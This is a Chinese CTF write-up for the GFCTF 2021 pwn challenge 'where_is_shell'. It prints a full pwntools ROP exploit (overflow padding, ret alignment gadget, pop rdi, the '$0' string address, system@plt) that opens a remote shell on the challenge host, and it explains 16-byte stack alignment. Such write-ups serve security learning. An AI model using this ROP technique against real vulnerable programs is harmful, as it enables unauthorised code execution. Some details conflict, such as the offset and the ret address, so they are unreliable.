GFCTF 2021where_is_shell

作者:Vesper Vei
2 分钟阅读

目录

  1. GFCTF 2021where_is_shell
  2. 题目介绍
  3. 解题过程
    1. 栈溢出
    2. 栈迁移
    3. ROP
    4. 总结

[!note] 关联入口:PWN题目索引

GFCTF 2021where_is_shell

题目介绍

题目链接🔗 这道题我将打算记录两种写法,一种是简单的栈溢出构造ROP链,另一种有些南辕北辙了,但对于初学者的我而言,正好可以练习下栈迁移 本题属于简单题,需要注意一下 栈对齐 (ubantu18之后的新规定) 还有就是,机器码的细节点: 24 30 —(ASCII)—> $0 —> /bin/sh

解题过程

栈溢出

整体思路

image.png 首先去看 main 函数,存在栈溢出漏洞 38h10h=5616=40(bit)38h - 10h = 56 - 16 = 40(bit) 计算得,可以溢出40bit的数据,这可以构造一个简短的ROP链了,本题如果能注意到机器码的细节,就可以轻松解决找不到 /bin/sh 字符串的问题(ps: $0 等价于 /bin/sh

ROP

/bin/sh

image.png 本道题就给了两个函数,一个是 main 另一个是 tips 一开始对于这里的 call 汇编指令,后面给了地址,以为是动调后会出现的提示信息,结果这里的 call 对应的汇编二进制代码为 E8 十六进制 0x240x30 对应的 ASCII 字符分别是 $ 和 0
0x24 0x30 看到在二进制里会被显示为 "$0"(两个字符的字节序列)。 。。。 至此,我们找到了 /bin/sh 的等价”字符串“ sh_addr = 0x400540 + 1 (跳过 E8)

Terminal window
sh_addr = 0x400541
system函数

这里有一个需要注意的点, system 是函数库内的函数,经由got表于plt表动态绑定,所以可以在main函数中看到 _system 双击跳转到 plt表 image.png

image.png 这里想说明的是,我们在构造payload时,调用系统函数(存在于静态文件内的)地址,要填写plt表内的函数地址(0x400430),而不是text段的地址(0x400548) (原因不清楚,只是我脚本里调用text段的地址没有效果)

Terminal window
sys_addr = 0x400430
payload构造

对此,我们只缺一个 pop_rdi_retret 的gadget,便可以完成这个简短的ROP链 通过 ROPgadget 查找

Terminal window
ROPgadget --binary ./shell --only "pop|ret"

image.png 幸运的是,成功找到

Terminal window
pop_rdi_ret = 0x4005e3
ret_addr = 0x400416

将上述汇总,我们就得到了完整的payload

Terminal window
from pwn import *
HOST = "node4.anna.nssctf.cn"
PORT = 28752
p = remote(HOST,PORT)
# text:0000000000400540 E8 24 30 00 00 call near ptr 403569h
sh_addr = 0x400541 # 24 30 --> $0 --> "bin/sh"
sys_addr = 0x400430 # 这里选用的是plt段的system地址
pop_rdi_ret = 0x4005e3
ret_addr = 0x40057D
payload = b'a' * 24
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(sys_addr)
p.recvuntil("zltt lost his shell, can you find it?")
p.sendline(payload)
p.interactive()

栈迁移

整体思路

ROP

寻找偏移地址

payload构造

总结

什么时候要去栈对齐?

还记得之前就说的Ubuntu18吗?它的作用现在就显现出来了: Ubuntu18及以上版本的系统要求在调用system函数时栈16字节对齐 意思是说在调用system时rip的值必须为16的倍数(也就是末位为0) 这也解释了为什么有些很简单的栈溢出题目,如果直接跳转到调用system的后门函数的地址会失败,因为有push ebp(rbp),导致栈没有对齐。而直接跳转到system(“/bin/sh”)函数就没有问题。

栈对齐的两种解决方法

单独做一篇文章

  1. 在调用函数地址时把push rbp给跳过去,将shellcode函数的地址+1,或者直接将shellcode的地址设置为system的地址
  2. 在目标指令比如pop rdi、call [system]之前先ret一次,rip地址的末位会由原来的8变为0,保证栈对齐

在本题中,由于没有直接的system(“/bin/sh”)可以调用,所以用不到第一种方法,就只能用第二种方法:在pop rdi;ret 指令的地址前加上ret 指令的地址


关系图谱

Loading graph...